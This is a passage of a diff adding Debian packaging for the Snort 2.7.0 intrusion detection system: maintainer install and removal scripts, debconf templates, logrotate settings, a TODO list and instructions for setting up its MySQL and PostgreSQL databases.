+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-common.dirs
+++ snort-2.7.0/debian/snort-common.dirs
@@ -0,0 +1,3 @@
+/etc/cron.daily
+/etc/snort
+/usr/sbin
--- snort-2.7.0.orig/debian/snort.TEMPLATE.templates
+++ snort-2.7.0/debian/snort.TEMPLATE.templates
@@ -0,0 +1,122 @@
+Template: snort{PACKAGE}/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort{PACKAGE}/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort{PACKAGE}/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort{PACKAGE}/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort{PACKAGE}/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort{PACKAGE}/reverse_order
+Type: boolean
+Default: false
+_Description: Should Snort's testing order be changed to Pass|Alert|Log?
+ Snort's default testing order is Alert|Pass|Log; if you accept this
+ option, the order will be changed to Pass|Alert|Log, which can make it
+ simpler to use Snort with some packet-filtering tools.
+
+Template: snort{PACKAGE}/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort{PACKAGE}/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort{PACKAGE}/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort{PACKAGE}/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort{PACKAGE}/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort{PACKAGE}/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort{PACKAGE}/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.7.0.orig/debian/snort.postinst
+++ snort-2.7.0/debian/snort.postinst
@@ -0,0 +1,199 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort/startup || true
+	if [ "$RET" = "manual" ]; then
+		echo "You have chosen to (re)start snort manually."
+		echo "Please restart Snort manually."
+		sleep 2
+		#db_fset snort/please_restart_manually seen false
+		#db_beginblock
+		#db_input high snort/please_restart_manually || true
+		#db_endblock
+		#db_go
+		#db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort/startup || true; 		STARTUP=$RET
+	db_get snort/interface || true; 	INTERFACE="$RET"
+	db_get snort/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+	db_get snort/reverse_order || true;	REVERSE_ORDER=$RET
+	db_get snort/send_stats || true;	STATS_SEND="$RET"
+	db_get snort/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	test "$REVERSE_ORDER" = "true" && OPTIONS="$OPTIONS -o"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	# STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |
+			awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE |
+			awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-mysql.manpages
+++ snort-2.7.0/debian/snort-mysql.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.7.0.orig/debian/README.Maintainer
+++ snort-2.7.0/debian/README.Maintainer
@@ -0,0 +1,24 @@
+#
+# files modified outside the debian directory
+#
+snort-lib:
+	* Activated alert_syslog LOG_AUTH LOG_ALERT
+	* Activated output log_tcpdump snort.log # easier for logrotate
+	* Activated preprocessor defrag
+	* Commented out the HOME_NET variable - this will be set in
+	  snort-startup-script.
+	* Commented out the DNS_SERVER variable. What's the benefit?
+	* Added 'include local-first' as first include and
+	  'include local-last' as last include for user-specific
+          extensions.
+	* Commented out backdoor-lib completely. Too many false positives.
+	* Commented out ping-lib completely. Too many false positives.
+
+I commented out the following detections as they either generated too many
+false positives or generate too much noise for harmless things like 
+traceroutes or nmap fingerprint attempts. (marked by s/^/#debian#/)
+scan-lib:
+ "detect fingerprinting attempts"
+ "Windows Traceroutes"
+ "Standard Traceroutes"
+ "dst port 8080" # http proxy
--- snort-2.7.0.orig/debian/copyright_list
+++ snort-2.7.0/debian/copyright_list
@@ -0,0 +1,33 @@
+Martin Roesch
+Sourcefire, Inc
+Sourcefire Inc
+SourceFire, Inc
+Sourcefire,Inc
+Sourcefire
+Christopher R. Hertel
+Brian Caswell
+Andrew R. Baker
+Joshua Wright
+Jeff Nathan
+Carnegie Mellon University
+Jed Pickel
+MySQL AB
+PreludeIDS Technologies
+Todd C. Miller 
+Association for Computing Machinery,Inc
+Marc Norton
+Daniel Roelker
+Michael Davis
+Kungliga Tekniska
+University of Cambridge
+Maciej Szarpak
+Phil Wood
+Christian Lademann
+Sendmail, Inc
+Eric P. Allman
+The Regents of the University of California
+Christopher Cramer
+Michael J. Pomraning
+Christian Lademann
+Free Software Foundation
+Makefile
--- snort-2.7.0.orig/debian/snort.prerm
+++ snort-2.7.0/debian/snort.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-inline.logrotate
+++ snort-2.7.0/debian/snort-inline.logrotate
@@ -0,0 +1,12 @@
+/var/log/snort/portscan.log /var/log/snort/alert /var/log/snort/portscan2.log {
+    daily
+    rotate 7
+    compress
+    missingok
+    notifempty
+    create 0640 snort adm
+    sharedscripts
+    postrotate
+        /etc/init.d/snort restart > /dev/null 2>&1
+    endscript
+}
--- snort-2.7.0.orig/debian/README-database.Debian
+++ snort-2.7.0/debian/README-database.Debian
@@ -0,0 +1,100 @@
+
+ SNORT WITH DATABASE SUPPORT
+------------------------------
+ If you are using snort-pgsql or snort-mysql please notice that you have
+ to create the database structure right after installing the package
+ and start Snort manually.
+
+ In order to create the database structure do:
+
+ - if using PostgreSQL
+   $ cd /usr/share/doc/snort-pgsql/
+   $  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+
+ - if using MySQL
+   $ cd /usr/share/doc/snort-mysql/
+   $ zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+
+ In either case fill in the correct values for the user, host, and 
+ database names. Depending on the user priviledges set on the database
+ you can use the same user that Snort will use to access the
+ database or an admin user. In either case, the user you use should
+ have priviledges to create tables and indexes. Once created you have
+ to grant the user your configured in Debconf so that it has priviledges
+ over the tables created through the schema.
+
+ Once you have setup the database, you will need to start Snort manually
+ since it was left unstarted after the installation. To do this
+ remove the file '/etc/snort/db-pending-configuration' and then
+ do '/etc/init.d/snort start'. Confirm that snort is working and up
+ by running '/etc/init.d/snort status' and reviewing the messages in
+ the /var/log/daemon.log syslog file.
+
+ CREATING THE DATABASE
+-----------------------
+
+  Notice that in order for the above to work you need to create first
+  a database. 
+
+  Consider that you have defined the following information when asked
+  to in the Debconf dialogs when installing the package:
+
+  Database User: snort
+  Database Password: snort-db
+  Database name: snort
+
+  For Mysql you can do this:
+
+  [ running as an mysql user with admin privileges ]
+  $ mysql
+  mysql> CREATE DATABASE snort
+  mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort@localhost;
+  mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort;
+  mysql> SET PASSWORD FOR snort@localhost=PASSWORD('snort-db');
+  mysql> flush privileges;
+  [ you can confirm the changes above running ]
+  mysql> show grants for 'snort'@'localhost';
+
+  And then you can run the command above as:
+
+  $ zcat create_mysql.gz | mysql -u snort -D snort -psnort-db
+
+  For PosgreSQL you can do this:
+
+  [ running as user 'posgres' ]
+  $ psql template1
+  template1=# CREATE DATABASE snort;
+  CREATE DATABASE
+  template1=# \q
+  $ zcat create_postgresql.gz | psql snort
+  [ creates the database ]
+
+  If you are using authentication based on passwords in your Postgres
+  database use this:
+
+  $ psql snort 
+  snort=# CREATE USER snort PASSWORD 'snort-db';
+  CREATE USER
+  snort=# GRANT INSERT, SELECT, UPDATE ON TABLE data,detail,encoding,
+  event,icmphdr,iphdr,opt,reference,reference_system,schema,sensor,
+  sig_class,signature,sig_reference,tcphdr,udphdr TO snort;
+  GRANT
+  [ now you can confirm that it was indeed created ]
+  snort=# SELECT * FROM pg_user WHERE usename='snort';
+  snort=#\q
+
+  You should be able now to connect to the Postgres database with:
+
+  $ psql -U snort --password snort
+
+  Alternatively, if the sensor is running on the same server as the database
+  you could use 'ident' authentication, since the Snort sensor will be running
+  as user 'snort'. Use this line in /etc/postgresql/pg_hba.conf:
+
+------------------------------------------------------------------------------
+host   all        all        127.0.0.1        255.255.255.255   ident sameuser
+------------------------------------------------------------------------------
+
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>
+    Thu, 25 Aug 2005 16:44:46 +0200
--- snort-2.7.0.orig/debian/snort-doc.examples
+++ snort-2.7.0/debian/snort-doc.examples
@@ -0,0 +1 @@
+debian/my/snort_rules_update
--- snort-2.7.0.orig/debian/TODO
+++ snort-2.7.0/debian/TODO
@@ -0,0 +1,78 @@
+
+TODO things for Snort in Debian
+-------------------------------
+
+- Offer the user an option to automatically create the database since
+  the schemas (at /usr/share/doc/snort*) stuff is not available on installation.
+  Review what other packages (gnudip? horde? imp? sitebar? openwebmail?)
+  have done and consider the use of the generic user for database
+  administration.  Note that database permissions for the 'snort' 
+  user need to be properly setup!
+  Also see: http://lists.debian.org/debian-devel/2004/08/msg01104.html
+  http://lists.debian.org/debian-devel/2004/10/msg00340.html
+  and
+  http://lists.debian.org/debian-devel/2004/10/msg00962.html
+
+  I probably need to take a look at how wwwconfig-common or use the
+  new dbconfig-common information does it...
+
+- Include Rpm improvements to the init.d file suchas :
+
+   * The init.d file could use separate LOGDIR files per interface instead of
+     one for all instances (bound to break) just like it's done in the RedHat
+     init script. The check_logdir function should be called per possible LOGDIR
+     definition. If the LOGDIR did not exist it should be created with proper
+     permissions.
+
+     Note: logrotate definitions will need to be changed if this is changed
+
+   * stats option in the init.d file
+   * Additional /etc/default/snort parameters similar to the RPM ones for
+     compatibility
+
+- Include ntop improvements to init.d script: check if interface is up
+
+- Use LSB functions in Init.d script
+
+- Use ucf to integrate changes by the maintainer when upgrading
+
+- Break up the init.d script into reusable functions 
+  Also: add a check in order to determine if the snort sensor started
+  up properly or it did not.
+
+- The check_log_dir check in the init.d script could best check if the
+  LOGDIR directory is writable by the snort user. It might not be good
+  (security-wise) to force it's owned by the snort user (since then
+  it would be able to remove its own logs)
+
+- Check if --enable-flexresp works with libnet 1.1.x
+
+- The snort-common package currently does not check if you _accepted_ the
+  config file provided, this is related to bug #247665 which is partially
+  fixed by the snort-common Source-Version depends introduced in 2.2.0-2
+
+- Provide support to avoid specifying the address range for multiple
+  interfaces (or skip this if you have more than once and substitute
+  by a note telling the admin to configure this in the snort.$IFACE.conf 
+  file).  This could be done using 'ip addr show $IFACE' and extracting
+  the vaule from the 'inet' component.
+
+- Rewrite the "address range" question. It actually does not explain what
+  it is actually used for (HOME_NET)
+
+- Determine, if the interface is configured and up and has an assigned
+  IP address, the address range for the sensor in an automatic way
+  This should also handle multiple interfaces.
+  (see bug #248000)
+
+- Add some common logcheck rules (see #222584, and #217175)
+
+DONE
+
+- Have a way in preinst to migragte from the old common.parameters to the
+  new /etc/default/snort so that all users can benefit from it. 
+
+- Provide an update script, as required in #191105
+  Done: snort-rules-default currently recommends: 'oinkmaster' better
+  that than maintaining a separate update script unmaintained upstream.
+
--- snort-2.7.0.orig/debian/snort-common.postinst
+++ snort-2.7.0/debian/snort-common.postinst
@@ -0,0 +1,38 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+# Check if Snort will be able to run properly
+# Obviously, if you are using deprecated preprocessors (checked on config)
+# it's not going to work either, but we do not test for that here.
+#
+# TODO: Maybe it's also best if we could tell dpkg that snort should
+# not be started if this fails.
+if [ -x /etc/init.d/snort ] ; then
+    # Try to find if we are expecting the script to run
+    enabled=0
+    if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+        set +e
+        invoke-rc.d --query snort start
+        if [ $? -ne 104 ] ; then
+        # Disabled, or does not work, do not check the configuration
+            enabled=1
+        fi
+        set -e
+    fi
+    if [ "$enabled" -eq 0 ] ; then
+        set +e
+        /etc/init.d/snort config-check >/dev/null 2>&1
+        if [ $? -ne 0 ] ; then
+            db_input critical snort/config_error || true
+            db_go || true
+        fi
+        set -e
+    fi
+fi
+
+db_stop
+
+#DEBHELPER# 
+
+exit 0
--- snort-2.7.0.orig/debian/snort-mysql.postrm
+++ snort-2.7.0/debian/snort-mysql.postrm
@@ -0,0 +1,66 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+		if [ -e /etc/snort/db-pending-config ] ; then
+			rm /etc/snort/db-pending-config
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if ! getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if ! getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.7.0.orig/debian/snort-inline.docs
+++ snort-2.7.0/debian/snort-inline.docs
@@ -0,0 +1,12 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
--- snort-2.7.0.orig/debian/snort-doc.doc-base.manual
+++ snort-2.7.0/debian/snort-doc.doc-base.manual
@@ -0,0 +1,11 @@
+Document: snort-manual
+Title: Snort Users Manual
+Author: Martin Roesch
+Abstract: Users manual to the Snort NIDS
+ The users manual to the Snort network intrusion detection system,
+ providing an overview of snort and how to write rule files for it.
+Section: Network/Monitoring
+
+Format: pdf
+Files: /usr/share/doc/snort-doc/snort_manual.pdf.gz
+
--- snort-2.7.0.orig/debian/snort.config
+++ snort-2.7.0/debian/snort.config
@@ -0,0 +1,119 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+[ -r /etc/snort/snort.debian.conf ] && . /etc/snort/snort.debian.conf
+
+INTERFACES=""
+
+check_interfaces() {
+# Check the interface status, abort with error if a configured one is not
+# available
+      [ -z "$INTERFACES" ] && return 0
+      ints=`echo $INTERFACES | sed -e  's/,/ /g'`
+      for iface in $ints; do
+	      if ! ifconfig "$iface" | grep -w UP >/dev/null; then
+		      return 1
+	     fi
+      done
+      return 0
+}
+
+db_input low snort/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort is called with interface and IP number
+db_get snort/startup
+if [ "$RET" = "dialup" ]; then
+  db_set snort/interface ""
+  db_set snort/address_range ""
+  db_set snort/disable_promiscuous true
+else
+  db_beginblock
+  # Interface default in case the configuration file does not exist
+  if [ -z "$DEBIAN_SNORT_INTERFACE" ] ; then
+  	INTERFACES=eth0
+  else 
+  	INTERFACES=$DEBIAN_SNORT_INTERFACE
+  fi
+
+  # Ask for a valid set of interfaces
+  ok=''
+  count=0
+  while [ ! "$ok" ] && [ "$count" -lt 2 ]; do
+  # Depending on whether the default interface is up or down we set the
+  # question priority
+        priority='medium'
+	if ! check_interfaces
+	then
+	    priority='high'
+	    db_fset snort/interface seen false 
+	fi
+	set +e
+	db_input $priority snort/interface
+        if [ $? -eq 30 ]; then
+	# User is not being shown the question, break out
+	     break
+	fi
+	set -e
+	db_go || true
+   # Check the interfaces
+	db_get snort/interface
+	INTERFACES=$RET
+	if ! check_interfaces ; then
+	  db_fset snort/invalid_interface seen false 
+	  db_input critical snort/invalid_interface
+	else
+	  ok='yes'
+        fi
+	# Increment the count, we only go through this two times
+	count=$(($count+1))
+  done
+
+  db_input high snort/address_range || true
+  db_input low snort/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort/reverse_order || true
+db_input low snort/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort/send_stats || true
+db_go
+
+db_get snort/send_stats
+if [ $RET = true ]; then
+# TODO: This values should not be empty (even
+# if we default to 'root' and '1' in the scripts)
+# so the config script should check wether the 
+# values here are legitimate.
+	db_beginblock
+	db_input medium snort/stats_rcpt || true
+	db_input low snort/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_get snort/startup
+if [ $RET = "manual" ]; then
+	db_beginblock
+	db_input medium snort/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+	db_beginblock
+	db_input medium snort/config_parameters || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.7.0.orig/debian/snort.preinst
+++ snort-2.7.0/debian/snort.preinst
@@ -0,0 +1,114 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
